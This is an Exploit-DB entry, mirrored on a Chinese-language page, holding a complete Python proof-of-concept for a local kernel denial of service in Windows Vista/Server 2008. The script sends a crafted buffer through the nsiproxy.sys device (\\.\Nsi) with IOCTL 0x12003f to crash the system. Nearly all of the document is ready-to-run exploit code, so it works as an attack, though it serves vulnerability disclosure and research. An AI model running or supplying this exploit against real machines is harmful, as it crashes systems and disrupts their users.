Microsoft Windows Vista/2008 – ‘nsiproxy.sys’ Local Kernel Denial of Service

  • 作者: Lufeng Li
    日期: 2011-05-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17305/
  • #!/usr/bin/python
    
    ############################################################################
    ##
    ## Title: Microsoft Windows Vista/Server 2008 "nsiproxy.sys" Local Kernel DoS Exploit
    ## Author: Lufeng Li of Neusoft Corporation
    ## Vendor: www.microsoft.com
    ## Vulnerable: Windows Vista/Server 2008
    ##
    ############################################################################
    from ctypes import *
    
    kernel32 = windll.kernel32
    Psapi= windll.Psapi
    
    if __name__ == '__main__':
    GENERIC_READ= 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2
    
    SYM_NAME = "\\\\.\\Nsi"
    dwReturn= c_ulong()
    out_buff= ''
    in_buff = ("\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00"
     "\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00"
     "\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00"
     "\x38\xfa\x78\x00\x0c\x00\x00\x00")
    
    handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)
    dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)